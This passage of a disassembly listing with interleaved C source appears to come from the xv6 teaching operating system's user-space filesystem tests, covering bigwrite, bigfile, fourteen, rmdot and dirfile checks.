231e: 68 18 48 00 00 push $0x4818
2323: 6a 01 push $0x1
2325: e8 46 17 00 00 call 3a70 <printf>
exit();
232a: e8 92 15 00 00 call 38c1 <exit>
printf(1, "unlink dd/dd failed\n");
232f: 52 push %edx
2330: 52 push %edx
2331: 68 03 48 00 00 push $0x4803
2336: 6a 01 push $0x1
2338: e8 33 17 00 00 call 3a70 <printf>
exit();
233d: e8 7f 15 00 00 call 38c1 <exit>
printf(1, "unlink non-empty dd succeeded!\n");
2342: 51 push %ecx
2343: 51 push %ecx
2344: 68 18 51 00 00 push $0x5118
2349: 6a 01 push $0x1
234b: e8 20 17 00 00 call 3a70 <printf>
exit();
2350: e8 6c 15 00 00 call 38c1 <exit>
printf(1, "unlink dd/ff failed\n");
2355: 53 push %ebx
2356: 53 push %ebx
2357: 68 ee 47 00 00 push $0x47ee
235c: 6a 01 push $0x1
235e: e8 0d 17 00 00 call 3a70 <printf>
exit();
2363: e8 59 15 00 00 call 38c1 <exit>
printf(1, "chdir dd/xx succeeded!\n");
2368: 50 push %eax
2369: 50 push %eax
236a: 68 d6 47 00 00 push $0x47d6
236f: 6a 01 push $0x1
2371: e8 fa 16 00 00 call 3a70 <printf>
exit();
2376: e8 46 15 00 00 call 38c1 <exit>
printf(1, "chdir dd/ff succeeded!\n");
237b: 50 push %eax
237c: 50 push %eax
237d: 68 be 47 00 00 push $0x47be
2382: 6a 01 push $0x1
2384: e8 e7 16 00 00 call 3a70 <printf>
exit();
2389: e8 33 15 00 00 call 38c1 <exit>
printf(1, "unlink dd/ff/ff succeeded!\n");
238e: 50 push %eax
238f: 50 push %eax
2390: 68 a2 47 00 00 push $0x47a2
2395: 6a 01 push $0x1
2397: e8 d4 16 00 00 call 3a70 <printf>
exit();
239c: e8 20 15 00 00 call 38c1 <exit>
printf(1, "unlink dd/xx/ff succeeded!\n");
23a1: 50 push %eax
23a2: 50 push %eax
23a3: 68 86 47 00 00 push $0x4786
23a8: 6a 01 push $0x1
23aa: e8 c1 16 00 00 call 3a70 <printf>
exit();
23af: e8 0d 15 00 00 call 38c1 <exit>
printf(1, "mkdir dd/dd/ffff succeeded!\n");
23b4: 50 push %eax
23b5: 50 push %eax
23b6: 68 69 47 00 00 push $0x4769
23bb: 6a 01 push $0x1
23bd: e8 ae 16 00 00 call 3a70 <printf>
exit();
23c2: e8 fa 14 00 00 call 38c1 <exit>
printf(1, "mkdir dd/xx/ff succeeded!\n");
23c7: 50 push %eax
23c8: 50 push %eax
23c9: 68 4e 47 00 00 push $0x474e
23ce: 6a 01 push $0x1
23d0: e8 9b 16 00 00 call 3a70 <printf>
exit();
23d5: e8 e7 14 00 00 call 38c1 <exit>
printf(1, "read dd/dd/ffff wrong len\n");
23da: 50 push %eax
23db: 50 push %eax
23dc: 68 7b 46 00 00 push $0x467b
23e1: 6a 01 push $0x1
23e3: e8 88 16 00 00 call 3a70 <printf>
exit();
23e8: e8 d4 14 00 00 call 38c1 <exit>
printf(1, "open dd/dd/ffff failed\n");
23ed: 50 push %eax
23ee: 50 push %eax
23ef: 68 63 46 00 00 push $0x4663
23f4: 6a 01 push $0x1
23f6: e8 75 16 00 00 call 3a70 <printf>
exit();
23fb: e8 c1 14 00 00 call 38c1 <exit>
00002400 <bigwrite>:
{
2400: 55 push %ebp
2401: 89 e5 mov %esp,%ebp
2403: 56 push %esi
2404: 53 push %ebx
for(sz = 499; sz < 12*512; sz += 471){
2405: bb f3 01 00 00 mov $0x1f3,%ebx
printf(1, "bigwrite test\n");
240a: 83 ec 08 sub $0x8,%esp
240d: 68 35 48 00 00 push $0x4835
2412: 6a 01 push $0x1
2414: e8 57 16 00 00 call 3a70 <printf>
unlink("bigwrite");
2419: c7 04 24 44 48 00 00 movl $0x4844,(%esp)
2420: e8 ec 14 00 00 call 3911 <unlink>
2425: 83 c4 10 add $0x10,%esp
2428: 90 nop
2429: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
fd = open("bigwrite", O_CREATE | O_RDWR);
2430: 83 ec 08 sub $0x8,%esp
2433: 68 02 02 00 00 push $0x202
2438: 68 44 48 00 00 push $0x4844
243d: e8 bf 14 00 00 call 3901 <open>
if(fd < 0){
2442: 83 c4 10 add $0x10,%esp
fd = open("bigwrite", O_CREATE | O_RDWR);
2445: 89 c6 mov %eax,%esi
if(fd < 0){
2447: 85 c0 test %eax,%eax
2449: 78 7e js 24c9 <bigwrite+0xc9>
int cc = write(fd, buf, sz);
244b: 83 ec 04 sub $0x4,%esp
244e: 53 push %ebx
244f: 68 60 86 00 00 push $0x8660
2454: 50 push %eax
2455: e8 87 14 00 00 call 38e1 <write>
if(cc != sz){
245a: 83 c4 10 add $0x10,%esp
245d: 39 d8 cmp %ebx,%eax
245f: 75 55 jne 24b6 <bigwrite+0xb6>
int cc = write(fd, buf, sz);
2461: 83 ec 04 sub $0x4,%esp
2464: 53 push %ebx
2465: 68 60 86 00 00 push $0x8660
246a: 56 push %esi
246b: e8 71 14 00 00 call 38e1 <write>
if(cc != sz){
2470: 83 c4 10 add $0x10,%esp
2473: 39 d8 cmp %ebx,%eax
2475: 75 3f jne 24b6 <bigwrite+0xb6>
close(fd);
2477: 83 ec 0c sub $0xc,%esp
for(sz = 499; sz < 12*512; sz += 471){
247a: 81 c3 d7 01 00 00 add $0x1d7,%ebx
close(fd);
2480: 56 push %esi
2481: e8 63 14 00 00 call 38e9 <close>
unlink("bigwrite");
2486: c7 04 24 44 48 00 00 movl $0x4844,(%esp)
248d: e8 7f 14 00 00 call 3911 <unlink>
for(sz = 499; sz < 12*512; sz += 471){
2492: 83 c4 10 add $0x10,%esp
2495: 81 fb 07 18 00 00 cmp $0x1807,%ebx
249b: 75 93 jne 2430 <bigwrite+0x30>
printf(1, "bigwrite ok\n");
249d: 83 ec 08 sub $0x8,%esp
24a0: 68 77 48 00 00 push $0x4877
24a5: 6a 01 push $0x1
24a7: e8 c4 15 00 00 call 3a70 <printf>
}
24ac: 83 c4 10 add $0x10,%esp
24af: 8d 65 f8 lea -0x8(%ebp),%esp
24b2: 5b pop %ebx
24b3: 5e pop %esi
24b4: 5d pop %ebp
24b5: c3 ret
printf(1, "write(%d) ret %d\n", sz, cc);
24b6: 50 push %eax
24b7: 53 push %ebx
24b8: 68 65 48 00 00 push $0x4865
24bd: 6a 01 push $0x1
24bf: e8 ac 15 00 00 call 3a70 <printf>
exit();
24c4: e8 f8 13 00 00 call 38c1 <exit>
printf(1, "cannot create bigwrite\n");
24c9: 83 ec 08 sub $0x8,%esp
24cc: 68 4d 48 00 00 push $0x484d
24d1: 6a 01 push $0x1
24d3: e8 98 15 00 00 call 3a70 <printf>
exit();
24d8: e8 e4 13 00 00 call 38c1 <exit>
24dd: 8d 76 00 lea 0x0(%esi),%esi
000024e0 <bigfile>:
{
24e0: 55 push %ebp
24e1: 89 e5 mov %esp,%ebp
24e3: 57 push %edi
24e4: 56 push %esi
24e5: 53 push %ebx
24e6: 83 ec 14 sub $0x14,%esp
printf(1, "bigfile test\n");
24e9: 68 84 48 00 00 push $0x4884
24ee: 6a 01 push $0x1
24f0: e8 7b 15 00 00 call 3a70 <printf>
unlink("bigfile");
24f5: c7 04 24 a0 48 00 00 movl $0x48a0,(%esp)
24fc: e8 10 14 00 00 call 3911 <unlink>
fd = open("bigfile", O_CREATE | O_RDWR);
2501: 58 pop %eax
2502: 5a pop %edx
2503: 68 02 02 00 00 push $0x202
2508: 68 a0 48 00 00 push $0x48a0
250d: e8 ef 13 00 00 call 3901 <open>
if(fd < 0){
2512: 83 c4 10 add $0x10,%esp
2515: 85 c0 test %eax,%eax
2517: 0f 88 5e 01 00 00 js 267b <bigfile+0x19b>
251d: 89 c6 mov %eax,%esi
for(i = 0; i < 20; i++){
251f: 31 db xor %ebx,%ebx
2521: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
memset(buf, i, 600);
2528: 83 ec 04 sub $0x4,%esp
252b: 68 58 02 00 00 push $0x258
2530: 53 push %ebx
2531: 68 60 86 00 00 push $0x8660
2536: e8 e5 11 00 00 call 3720 <memset>
if(write(fd, buf, 600) != 600){
253b: 83 c4 0c add $0xc,%esp
253e: 68 58 02 00 00 push $0x258
2543: 68 60 86 00 00 push $0x8660
2548: 56 push %esi
2549: e8 93 13 00 00 call 38e1 <write>
254e: 83 c4 10 add $0x10,%esp
2551: 3d 58 02 00 00 cmp $0x258,%eax
2556: 0f 85 f8 00 00 00 jne 2654 <bigfile+0x174>
for(i = 0; i < 20; i++){
255c: 83 c3 01 add $0x1,%ebx
255f: 83 fb 14 cmp $0x14,%ebx
2562: 75 c4 jne 2528 <bigfile+0x48>
close(fd);
2564: 83 ec 0c sub $0xc,%esp
2567: 56 push %esi
2568: e8 7c 13 00 00 call 38e9 <close>
fd = open("bigfile", 0);
256d: 5e pop %esi
256e: 5f pop %edi
256f: 6a 00 push $0x0
2571: 68 a0 48 00 00 push $0x48a0
2576: e8 86 13 00 00 call 3901 <open>
if(fd < 0){
257b: 83 c4 10 add $0x10,%esp
fd = open("bigfile", 0);
257e: 89 c6 mov %eax,%esi
if(fd < 0){
2580: 85 c0 test %eax,%eax
2582: 0f 88 e0 00 00 00 js 2668 <bigfile+0x188>
total = 0;
2588: 31 db xor %ebx,%ebx
for(i = 0; ; i++){
258a: 31 ff xor %edi,%edi
258c: eb 30 jmp 25be <bigfile+0xde>
258e: 66 90 xchg %ax,%ax
if(cc != 300){
2590: 3d 2c 01 00 00 cmp $0x12c,%eax
2595: 0f 85 91 00 00 00 jne 262c <bigfile+0x14c>
if(buf[0] != i/2 || buf[299] != i/2){
259b: 89 fa mov %edi,%edx
259d: 0f be 05 60 86 00 00 movsbl 0x8660,%eax
25a4: d1 fa sar %edx
25a6: 39 d0 cmp %edx,%eax
25a8: 75 6e jne 2618 <bigfile+0x138>
25aa: 0f be 15 8b 87 00 00 movsbl 0x878b,%edx
25b1: 39 d0 cmp %edx,%eax
25b3: 75 63 jne 2618 <bigfile+0x138>
total += cc;
25b5: 81 c3 2c 01 00 00 add $0x12c,%ebx
for(i = 0; ; i++){
25bb: 83 c7 01 add $0x1,%edi
cc = read(fd, buf, 300);
25be: 83 ec 04 sub $0x4,%esp
25c1: 68 2c 01 00 00 push $0x12c
25c6: 68 60 86 00 00 push $0x8660
25cb: 56 push %esi
25cc: e8 08 13 00 00 call 38d9 <read>
if(cc < 0){
25d1: 83 c4 10 add $0x10,%esp
25d4: 85 c0 test %eax,%eax
25d6: 78 68 js 2640 <bigfile+0x160>
if(cc == 0)
25d8: 75 b6 jne 2590 <bigfile+0xb0>
close(fd);
25da: 83 ec 0c sub $0xc,%esp
25dd: 56 push %esi
25de: e8 06 13 00 00 call 38e9 <close>
if(total != 20*600){
25e3: 83 c4 10 add $0x10,%esp
25e6: 81 fb e0 2e 00 00 cmp $0x2ee0,%ebx
25ec: 0f 85 9c 00 00 00 jne 268e <bigfile+0x1ae>
unlink("bigfile");
25f2: 83 ec 0c sub $0xc,%esp
25f5: 68 a0 48 00 00 push $0x48a0
25fa: e8 12 13 00 00 call 3911 <unlink>
printf(1, "bigfile test ok\n");
25ff: 58 pop %eax
2600: 5a pop %edx
2601: 68 2f 49 00 00 push $0x492f
2606: 6a 01 push $0x1
2608: e8 63 14 00 00 call 3a70 <printf>
}
260d: 83 c4 10 add $0x10,%esp
2610: 8d 65 f4 lea -0xc(%ebp),%esp
2613: 5b pop %ebx
2614: 5e pop %esi
2615: 5f pop %edi
2616: 5d pop %ebp
2617: c3 ret
printf(1, "read bigfile wrong data\n");
2618: 83 ec 08 sub $0x8,%esp
261b: 68 fc 48 00 00 push $0x48fc
2620: 6a 01 push $0x1
2622: e8 49 14 00 00 call 3a70 <printf>
exit();
2627: e8 95 12 00 00 call 38c1 <exit>
printf(1, "short read bigfile\n");
262c: 83 ec 08 sub $0x8,%esp
262f: 68 e8 48 00 00 push $0x48e8
2634: 6a 01 push $0x1
2636: e8 35 14 00 00 call 3a70 <printf>
exit();
263b: e8 81 12 00 00 call 38c1 <exit>
printf(1, "read bigfile failed\n");
2640: 83 ec 08 sub $0x8,%esp
2643: 68 d3 48 00 00 push $0x48d3
2648: 6a 01 push $0x1
264a: e8 21 14 00 00 call 3a70 <printf>
exit();
264f: e8 6d 12 00 00 call 38c1 <exit>
printf(1, "write bigfile failed\n");
2654: 83 ec 08 sub $0x8,%esp
2657: 68 a8 48 00 00 push $0x48a8
265c: 6a 01 push $0x1
265e: e8 0d 14 00 00 call 3a70 <printf>
exit();
2663: e8 59 12 00 00 call 38c1 <exit>
printf(1, "cannot open bigfile\n");
2668: 53 push %ebx
2669: 53 push %ebx
266a: 68 be 48 00 00 push $0x48be
266f: 6a 01 push $0x1
2671: e8 fa 13 00 00 call 3a70 <printf>
exit();
2676: e8 46 12 00 00 call 38c1 <exit>
printf(1, "cannot create bigfile");
267b: 50 push %eax
267c: 50 push %eax
267d: 68 92 48 00 00 push $0x4892
2682: 6a 01 push $0x1
2684: e8 e7 13 00 00 call 3a70 <printf>
exit();
2689: e8 33 12 00 00 call 38c1 <exit>
printf(1, "read bigfile wrong total\n");
268e: 51 push %ecx
268f: 51 push %ecx
2690: 68 15 49 00 00 push $0x4915
2695: 6a 01 push $0x1
2697: e8 d4 13 00 00 call 3a70 <printf>
exit();
269c: e8 20 12 00 00 call 38c1 <exit>
26a1: eb 0d jmp 26b0 <fourteen>
26a3: 90 nop
26a4: 90 nop
26a5: 90 nop
26a6: 90 nop
26a7: 90 nop
26a8: 90 nop
26a9: 90 nop
26aa: 90 nop
26ab: 90 nop
26ac: 90 nop
26ad: 90 nop
26ae: 90 nop
26af: 90 nop
000026b0 <fourteen>:
{
26b0: 55 push %ebp
26b1: 89 e5 mov %esp,%ebp
26b3: 83 ec 10 sub $0x10,%esp
printf(1, "fourteen test\n");
26b6: 68 40 49 00 00 push $0x4940
26bb: 6a 01 push $0x1
26bd: e8 ae 13 00 00 call 3a70 <printf>
if(mkdir("12345678901234") != 0){
26c2: c7 04 24 7b 49 00 00 movl $0x497b,(%esp)
26c9: e8 5b 12 00 00 call 3929 <mkdir>
26ce: 83 c4 10 add $0x10,%esp
26d1: 85 c0 test %eax,%eax
26d3: 0f 85 97 00 00 00 jne 2770 <fourteen+0xc0>
if(mkdir("12345678901234/123456789012345") != 0){
26d9: 83 ec 0c sub $0xc,%esp
26dc: 68 38 51 00 00 push $0x5138
26e1: e8 43 12 00 00 call 3929 <mkdir>
26e6: 83 c4 10 add $0x10,%esp
26e9: 85 c0 test %eax,%eax
26eb: 0f 85 de 00 00 00 jne 27cf <fourteen+0x11f>
fd = open("123456789012345/123456789012345/123456789012345", O_CREATE);
26f1: 83 ec 08 sub $0x8,%esp
26f4: 68 00 02 00 00 push $0x200
26f9: 68 88 51 00 00 push $0x5188
26fe: e8 fe 11 00 00 call 3901 <open>
if(fd < 0){
2703: 83 c4 10 add $0x10,%esp
2706: 85 c0 test %eax,%eax
2708: 0f 88 ae 00 00 00 js 27bc <fourteen+0x10c>
close(fd);
270e: 83 ec 0c sub $0xc,%esp
2711: 50 push %eax
2712: e8 d2 11 00 00 call 38e9 <close>
fd = open("12345678901234/12345678901234/12345678901234", 0);
2717: 58 pop %eax
2718: 5a pop %edx
2719: 6a 00 push $0x0
271b: 68 f8 51 00 00 push $0x51f8
2720: e8 dc 11 00 00 call 3901 <open>
if(fd < 0){
2725: 83 c4 10 add $0x10,%esp
2728: 85 c0 test %eax,%eax
272a: 78 7d js 27a9 <fourteen+0xf9>
close(fd);
272c: 83 ec 0c sub $0xc,%esp
272f: 50 push %eax
2730: e8 b4 11 00 00 call 38e9 <close>
if(mkdir("12345678901234/12345678901234") == 0){
2735: c7 04 24 6c 49 00 00 movl $0x496c,(%esp)
273c: e8 e8 11 00 00 call 3929 <mkdir>
2741: 83 c4 10 add $0x10,%esp
2744: 85 c0 test %eax,%eax
2746: 74 4e je 2796 <fourteen+0xe6>
if(mkdir("123456789012345/12345678901234") == 0){
2748: 83 ec 0c sub $0xc,%esp
274b: 68 94 52 00 00 push $0x5294
2750: e8 d4 11 00 00 call 3929 <mkdir>
2755: 83 c4 10 add $0x10,%esp
2758: 85 c0 test %eax,%eax
275a: 74 27 je 2783 <fourteen+0xd3>
printf(1, "fourteen ok\n");
275c: 83 ec 08 sub $0x8,%esp
275f: 68 8a 49 00 00 push $0x498a
2764: 6a 01 push $0x1
2766: e8 05 13 00 00 call 3a70 <printf>
}
276b: 83 c4 10 add $0x10,%esp
276e: c9 leave
276f: c3 ret
printf(1, "mkdir 12345678901234 failed\n");
2770: 50 push %eax
2771: 50 push %eax
2772: 68 4f 49 00 00 push $0x494f
2777: 6a 01 push $0x1
2779: e8 f2 12 00 00 call 3a70 <printf>
exit();
277e: e8 3e 11 00 00 call 38c1 <exit>
printf(1, "mkdir 12345678901234/123456789012345 succeeded!\n");
2783: 50 push %eax
2784: 50 push %eax
2785: 68 b4 52 00 00 push $0x52b4
278a: 6a 01 push $0x1
278c: e8 df 12 00 00 call 3a70 <printf>
exit();
2791: e8 2b 11 00 00 call 38c1 <exit>
printf(1, "mkdir 12345678901234/12345678901234 succeeded!\n");
2796: 52 push %edx
2797: 52 push %edx
2798: 68 64 52 00 00 push $0x5264
279d: 6a 01 push $0x1
279f: e8 cc 12 00 00 call 3a70 <printf>
exit();
27a4: e8 18 11 00 00 call 38c1 <exit>
printf(1, "open 12345678901234/12345678901234/12345678901234 failed\n");
27a9: 51 push %ecx
27aa: 51 push %ecx
27ab: 68 28 52 00 00 push $0x5228
27b0: 6a 01 push $0x1
27b2: e8 b9 12 00 00 call 3a70 <printf>
exit();
27b7: e8 05 11 00 00 call 38c1 <exit>
printf(1, "create 123456789012345/123456789012345/123456789012345 failed\n");
27bc: 51 push %ecx
27bd: 51 push %ecx
27be: 68 b8 51 00 00 push $0x51b8
27c3: 6a 01 push $0x1
27c5: e8 a6 12 00 00 call 3a70 <printf>
exit();
27ca: e8 f2 10 00 00 call 38c1 <exit>
printf(1, "mkdir 12345678901234/123456789012345 failed\n");
27cf: 50 push %eax
27d0: 50 push %eax
27d1: 68 58 51 00 00 push $0x5158
27d6: 6a 01 push $0x1
27d8: e8 93 12 00 00 call 3a70 <printf>
exit();
27dd: e8 df 10 00 00 call 38c1 <exit>
27e2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
27e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000027f0 <rmdot>:
{
27f0: 55 push %ebp
27f1: 89 e5 mov %esp,%ebp
27f3: 83 ec 10 sub $0x10,%esp
printf(1, "rmdot test\n");
27f6: 68 97 49 00 00 push $0x4997
27fb: 6a 01 push $0x1
27fd: e8 6e 12 00 00 call 3a70 <printf>
if(mkdir("dots") != 0){
2802: c7 04 24 a3 49 00 00 movl $0x49a3,(%esp)
2809: e8 1b 11 00 00 call 3929 <mkdir>
280e: 83 c4 10 add $0x10,%esp
2811: 85 c0 test %eax,%eax
2813: 0f 85 b0 00 00 00 jne 28c9 <rmdot+0xd9>
if(chdir("dots") != 0){
2819: 83 ec 0c sub $0xc,%esp
281c: 68 a3 49 00 00 push $0x49a3
2821: e8 0b 11 00 00 call 3931 <chdir>
2826: 83 c4 10 add $0x10,%esp
2829: 85 c0 test %eax,%eax
282b: 0f 85 1d 01 00 00 jne 294e <rmdot+0x15e>
if(unlink(".") == 0){
2831: 83 ec 0c sub $0xc,%esp
2834: 68 4e 46 00 00 push $0x464e
2839: e8 d3 10 00 00 call 3911 <unlink>
283e: 83 c4 10 add $0x10,%esp
2841: 85 c0 test %eax,%eax
2843: 0f 84 f2 00 00 00 je 293b <rmdot+0x14b>
if(unlink("..") == 0){
2849: 83 ec 0c sub $0xc,%esp
284c: 68 4d 46 00 00 push $0x464d
2851: e8 bb 10 00 00 call 3911 <unlink>
2856: 83 c4 10 add $0x10,%esp
2859: 85 c0 test %eax,%eax
285b: 0f 84 c7 00 00 00 je 2928 <rmdot+0x138>
if(chdir("/") != 0){
2861: 83 ec 0c sub $0xc,%esp
2864: 68 21 3e 00 00 push $0x3e21
2869: e8 c3 10 00 00 call 3931 <chdir>
286e: 83 c4 10 add $0x10,%esp
2871: 85 c0 test %eax,%eax
2873: 0f 85 9c 00 00 00 jne 2915 <rmdot+0x125>
if(unlink("dots/.") == 0){
2879: 83 ec 0c sub $0xc,%esp
287c: 68 eb 49 00 00 push $0x49eb
2881: e8 8b 10 00 00 call 3911 <unlink>
2886: 83 c4 10 add $0x10,%esp
2889: 85 c0 test %eax,%eax
288b: 74 75 je 2902 <rmdot+0x112>
if(unlink("dots/..") == 0){
288d: 83 ec 0c sub $0xc,%esp
2890: 68 09 4a 00 00 push $0x4a09
2895: e8 77 10 00 00 call 3911 <unlink>
289a: 83 c4 10 add $0x10,%esp
289d: 85 c0 test %eax,%eax
289f: 74 4e je 28ef <rmdot+0xff>
if(unlink("dots") != 0){
28a1: 83 ec 0c sub $0xc,%esp
28a4: 68 a3 49 00 00 push $0x49a3
28a9: e8 63 10 00 00 call 3911 <unlink>
28ae: 83 c4 10 add $0x10,%esp
28b1: 85 c0 test %eax,%eax
28b3: 75 27 jne 28dc <rmdot+0xec>
printf(1, "rmdot ok\n");
28b5: 83 ec 08 sub $0x8,%esp
28b8: 68 3e 4a 00 00 push $0x4a3e
28bd: 6a 01 push $0x1
28bf: e8 ac 11 00 00 call 3a70 <printf>
}
28c4: 83 c4 10 add $0x10,%esp
28c7: c9 leave
28c8: c3 ret
printf(1, "mkdir dots failed\n");
28c9: 50 push %eax
28ca: 50 push %eax
28cb: 68 a8 49 00 00 push $0x49a8
28d0: 6a 01 push $0x1
28d2: e8 99 11 00 00 call 3a70 <printf>
exit();
28d7: e8 e5 0f 00 00 call 38c1 <exit>
printf(1, "unlink dots failed!\n");
28dc: 50 push %eax
28dd: 50 push %eax
28de: 68 29 4a 00 00 push $0x4a29
28e3: 6a 01 push $0x1
28e5: e8 86 11 00 00 call 3a70 <printf>
exit();
28ea: e8 d2 0f 00 00 call 38c1 <exit>
printf(1, "unlink dots/.. worked!\n");
28ef: 52 push %edx
28f0: 52 push %edx
28f1: 68 11 4a 00 00 push $0x4a11
28f6: 6a 01 push $0x1
28f8: e8 73 11 00 00 call 3a70 <printf>
exit();
28fd: e8 bf 0f 00 00 call 38c1 <exit>
printf(1, "unlink dots/. worked!\n");
2902: 51 push %ecx
2903: 51 push %ecx
2904: 68 f2 49 00 00 push $0x49f2
2909: 6a 01 push $0x1
290b: e8 60 11 00 00 call 3a70 <printf>
exit();
2910: e8 ac 0f 00 00 call 38c1 <exit>
printf(1, "chdir / failed\n");
2915: 50 push %eax
2916: 50 push %eax
2917: 68 23 3e 00 00 push $0x3e23
291c: 6a 01 push $0x1
291e: e8 4d 11 00 00 call 3a70 <printf>
exit();
2923: e8 99 0f 00 00 call 38c1 <exit>
printf(1, "rm .. worked!\n");
2928: 50 push %eax
2929: 50 push %eax
292a: 68 dc 49 00 00 push $0x49dc
292f: 6a 01 push $0x1
2931: e8 3a 11 00 00 call 3a70 <printf>
exit();
2936: e8 86 0f 00 00 call 38c1 <exit>
printf(1, "rm . worked!\n");
293b: 50 push %eax
293c: 50 push %eax
293d: 68 ce 49 00 00 push $0x49ce
2942: 6a 01 push $0x1
2944: e8 27 11 00 00 call 3a70 <printf>
exit();
2949: e8 73 0f 00 00 call 38c1 <exit>
printf(1, "chdir dots failed\n");
294e: 50 push %eax
294f: 50 push %eax
2950: 68 bb 49 00 00 push $0x49bb
2955: 6a 01 push $0x1
2957: e8 14 11 00 00 call 3a70 <printf>
exit();
295c: e8 60 0f 00 00 call 38c1 <exit>
2961: eb 0d jmp 2970 <dirfile>
2963: 90 nop
2964: 90 nop
2965: 90 nop
2966: 90 nop
2967: 90 nop
2968: 90 nop
2969: 90 nop
296a: 90 nop
296b: 90 nop
296c: 90 nop
296d: 90 nop
296e: 90 nop
296f: 90 nop
00002970 <dirfile>:
{
2970: 55 push %ebp
2971: 89 e5 mov %esp,%ebp
2973: 53 push %ebx
2974: 83 ec 0c sub $0xc,%esp
printf(1, "dir vs file\n");
2977: 68 48 4a 00 00 push $0x4a48
297c: 6a 01 push $0x1
297e: e8 ed 10 00 00 call 3a70 <printf>
fd = open("dirfile", O_CREATE);
2983: 59 pop %ecx
2984: 5b pop %ebx
2985: 68 00 02 00 00 push $0x200
298a: 68 55 4a 00 00 push $0x4a55
298f: e8 6d 0f 00 00 call 3901 <open>
if(fd < 0){
2994: 83 c4 10 add $0x10,%esp
2997: 85 c0 test %eax,%eax
2999: 0f 88 43 01 00 00 js 2ae2 <dirfile+0x172>
close(fd);
299f: 83 ec 0c sub $0xc,%esp
29a2: 50 push %eax
29a3: e8 41 0f 00 00 call 38e9 <close>
if(chdir("dirfile") == 0){
29a8: c7 04 24 55 4a 00 00 movl $0x4a55,(%esp)
29af: e8 7d 0f 00 00 call 3931 <chdir>
29b4: 83 c4 10 add $0x10,%esp
29b7: 85 c0 test %eax,%eax
29b9: 0f 84 10 01 00 00 je 2acf <dirfile+0x15f>
fd = open("dirfile/xx", 0);
29bf: 83 ec 08 sub $0x8,%esp
29c2: 6a 00 push $0x0
29c4: 68 8e 4a 00 00 push $0x4a8e
29c9: e8 33 0f 00 00 call 3901 <open>
if(fd >= 0){
29ce: 83 c4 10 add $0x10,%esp
29d1: 85 c0 test %eax,%eax
29d3: 0f 89 e3 00 00 00 jns 2abc <dirfile+0x14c>
fd = open("dirfile/xx", O_CREATE);
29d9: 83 ec 08 sub $0x8,%esp
29dc: 68 00 02 00 00 push $0x200
29e1: 68 8e 4a 00 00 push $0x4a8e
29e6: e8 16 0f 00 00 call 3901 <open>
if(fd >= 0){
29eb: 83 c4 10 add $0x10,%esp
29ee: 85 c0 test %eax,%eax
29f0: 0f 89 c6 00 00 00 jns 2abc <dirfile+0x14c>
if(mkdir("dirfile/xx") == 0){
29f6: 83 ec 0c sub $0xc,%esp
29f9: 68 8e 4a 00 00 push $0x4a8e
29fe: e8 26 0f 00 00 call 3929 <mkdir>
2a03: 83 c4 10 add $0x10,%esp
2a06: 85 c0 test %eax,%eax
2a08: 0f 84 46 01 00 00 je 2b54 <dirfile+0x1e4>
if(unlink("dirfile/xx") == 0){
2a0e: 83 ec 0c sub $0xc,%esp
2a11: 68 8e 4a 00 00 push $0x4a8e
2a16: e8 f6 0e 00 00 call 3911 <unlink>
2a1b: 83 c4 10 add $0x10,%esp
2a1e: 85 c0 test %eax,%eax
2a20: 0f 84 1b 01 00 00 je 2b41 <dirfile+0x1d1>
if(link("README", "dirfile/xx") == 0){
2a26: 83 ec 08 sub $0x8,%esp
2a29: 68 8e 4a 00 00 push $0x4a8e
2a2e: 68 f2 4a 00 00 push $0x4af2
2a33: e8 e9 0e 00 00 call 3921 <link>
2a38: 83 c4 10 add $0x10,%esp
2a3b: 85 c0 test %eax,%eax
2a3d: 0f 84 eb 00 00 00 je 2b2e <dirfile+0x1be>
if(unlink("dirfile") != 0){
2a43: 83 ec 0c sub $0xc,%esp
2a46: 68 55 4a 00 00 push $0x4a55
2a4b: e8 c1 0e 00 00 call 3911 <unlink>
2a50: 83 c4 10 add $0x10,%esp
2a53: 85 c0 test %eax,%eax
2a55: 0f 85 c0 00 00 00 jne 2b1b <dirfile+0x1ab>
fd = open(".", O_RDWR);
2a5b: 83 ec 08 sub $0x8,%esp
2a5e: 6a 02 push $0x2
2a60: 68 4e 46 00 00 push $0x464e
2a65: e8 97 0e 00 00 call 3901 <open>
if(fd >= 0){
2a6a: 83 c4 10 add $0x10,%esp
2a6d: 85 c0 test %eax,%eax
2a6f: 0f 89 93 00 00 00 jns 2b08 <dirfile+0x198>
fd = open(".", 0);
2a75: 83 ec 08 sub $0x8,%esp
2a78: 6a 00 push $0x0
2a7a: 68 4e 46 00 00 push $0x464e
2a7f: e8 7d 0e 00 00 call 3901 <open>
if(write(fd, "x", 1) > 0){
2a84: 83 c4 0c add $0xc,%esp
2a87: 6a 01 push $0x1
fd = open(".", 0);
2a89: 89 c3 mov %eax,%ebx
if(write(fd, "x", 1) > 0){
2a8b: 68 31 47 00 00 push $0x4731
2a90: 50 push %eax
2a91: e8 4b 0e 00 00 call 38e1 <write>
2a96: 83 c4 10 add $0x10,%esp
2a99: 85 c0 test %eax,%eax
2a9b: 7f 58 jg 2af5 <dirfile+0x185>
close(fd);
2a9d: 83 ec 0c sub $0xc,%esp
2aa0: 53 push %ebx
2aa1: e8 43 0e 00 00 call 38e9 <close>
printf(1, "dir vs file OK\n");
2aa6: 58 pop %eax
2aa7: 5a pop %edx
2aa8: 68 25 4b 00 00 push $0x4b25
2aad: 6a 01 push $0x1
2aaf: e8 bc 0f 00 00 call 3a70 <printf>
}
2ab4: 83 c4 10 add $0x10,%esp
2ab7: 8b 5d fc mov -0x4(%ebp),%ebx
2aba: c9 leave
2abb: c3 ret
printf(1, "create dirfile/xx succeeded!\n");
2abc: 50 push %eax
2abd: 50 push %eax
2abe: 68 99 4a 00 00 push $0x4a99
2ac3: 6a 01 push $0x1
2ac5: e8 a6 0f 00 00 call 3a70 <printf>
exit();
2aca: e8 f2 0d 00 00 call 38c1 <exit>
printf(1, "chdir dirfile succeeded!\n");
2acf: 50 push %eax
2ad0: 50 push %eax
2ad1: 68 74 4a 00 00 push $0x4a74
2ad6: 6a 01 push $0x1
2ad8: e8 93 0f 00 00 call 3a70 <printf>
exit();
2add: e8 df 0d 00 00 call 38c1 <exit>
printf(1, "create dirfile failed\n");
2ae2: 52 push %edx
2ae3: 52 push %edx
2ae4: 68 5d 4a 00 00 push $0x4a5d
2ae9: 6a 01 push $0x1
2aeb: e8 80 0f 00 00 call 3a70 <printf>
exit();
